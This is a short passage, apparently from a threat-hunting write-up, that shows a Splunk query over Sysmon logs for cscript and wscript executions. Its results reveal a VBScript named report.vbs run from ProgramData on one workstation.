Once executed, we get the following:

New Search

Save As ▾ Close

index="winsysmon" EventCode=1 Image="*\\cscript.exe" OR Image="*\\wscript.exe" | rex field=Image ".*\\\\(\\<Image_fn>[^\n]*)" | rex field=ParentImage ".*\\\\(\\<ParentImage_fn>[^\n]*)" | stats count by Computer User ProcessId Image CommandLine ParentImage ParentCommandLine

Last 30 days ▾



✓ 3 events (2/11/20 12:00:00.000 AM to 3/12/20 3:47:34.000 PM) No Event Sampling ▾

Job ▾



Verbose Mode ▾

Events (3) Patterns **Statistics (3)** Visualization

50 Per Page ▾ Format Preview ▾

Computer	User	ProcessId	Image	CommandLine	ParentImage	ParentCommandLine	count
WS-0001	WS-0001\user	2276	C:\Windows\System32\wscript.exe	"C:\Windows\System32\WScript.exe" "C:\ProgramData\report.vbs"	C:\Windows\explorer.exe	C:\Windows\Explorer.EXE	1
WS-0001	WS-0001\user	5764	C:\Windows\System32\wscript.exe	"C:\Windows\System32\WScript.exe" "C:\ProgramData\report.vbs"	C:\Windows\explorer.exe	C:\Windows\Explorer.EXE	1
WS-0001	WS-0001\user	8628	C:\Windows\System32\wscript.exe	"C:\Windows\System32\WScript.exe" "C:\programdata\report.vbs"	C:\Windows\System32\cmd.exe	C:\Windows\system32\cmd.exe /C C:/programdata/report.vbs	1

We see that a script was executed running from %PROGRAMDATA%.